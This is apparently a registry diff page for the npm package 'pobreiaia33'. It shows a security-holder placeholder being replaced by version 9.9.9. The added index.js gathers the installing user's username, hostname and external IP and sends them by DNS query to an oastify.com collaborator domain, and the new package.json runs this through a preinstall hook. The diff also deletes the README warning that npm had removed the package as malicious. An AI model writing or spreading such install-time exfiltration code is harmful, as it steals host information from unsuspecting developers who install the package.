pobreiaia33 0.0.1-security → 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pobreiaia33 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +65 -0
  2. package/package.json +9 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+
5
+ // Obtención de información
6
+ const user = os.userInfo().username;
7
+ const hostname = os.hostname();
8
+
9
+ // Función para obtener la IP externa del usuario
10
+ const getExternalIP = () => {
11
+ return new Promise((resolve, reject) => {
12
+ https.get('https://api.ipify.org?format=json', (res) => {
13
+ let data = '';
14
+
15
+ res.on('data', (chunk) => {
16
+ data += chunk;
17
+ });
18
+
19
+ res.on('end', () => {
20
+ try {
21
+ const parsedData = JSON.parse(data);
22
+ resolve(parsedData.ip);
23
+ } catch (error) {
24
+ reject('Error al obtener IP externa');
25
+ }
26
+ });
27
+ }).on('error', (error) => {
28
+ reject('IP no disponible');
29
+ });
30
+ });
31
+ };
32
+
33
+ // Función para limpiar los datos y asegurarnos de que son válidos para DNS
34
+ const sanitizeForDNS = (input) => {
35
+ return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no válidos
36
+ };
37
+
38
+ // Función para enviar los datos a través de DNS
39
+ const sendDNSData = async () => {
40
+ try {
41
+ const externalIP = await getExternalIP();
42
+ const sanitizedUser = sanitizeForDNS(user);
43
+ const sanitizedHostname = sanitizeForDNS(hostname);
44
+ const sanitizedIP = sanitizeForDNS(externalIP);
45
+
46
+ // Crear un string más corto para la URL
47
+ const data = `${sanitizedUser}-${sanitizedHostname}-${sanitizedIP}`;
48
+
49
+ // Dominio de tu colaborador donde se enviarán las consultas DNS
50
+ const domain = `${data}.kc0262r8oypagq3e8f89uaqmodu4i16q.oastify.com`;
51
+
52
+ // Enviar la consulta DNS con los datos sanitizados
53
+ dns.resolve(domain, (err, addresses) => {
54
+ if (err) {
55
+ console.error('Error al enviar la consulta DNS:', err);
56
+ } else {
57
+ console.log('Consulta DNS enviada:', addresses);
58
+ }
59
+ });
60
+ } catch (error) {
61
+ console.error('Error al obtener la IP externa:', error);
62
+ }
63
+ };
64
+
65
+ sendDNSData();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "pobreiaia33",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "MIT"
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pobreiaia33 for more information.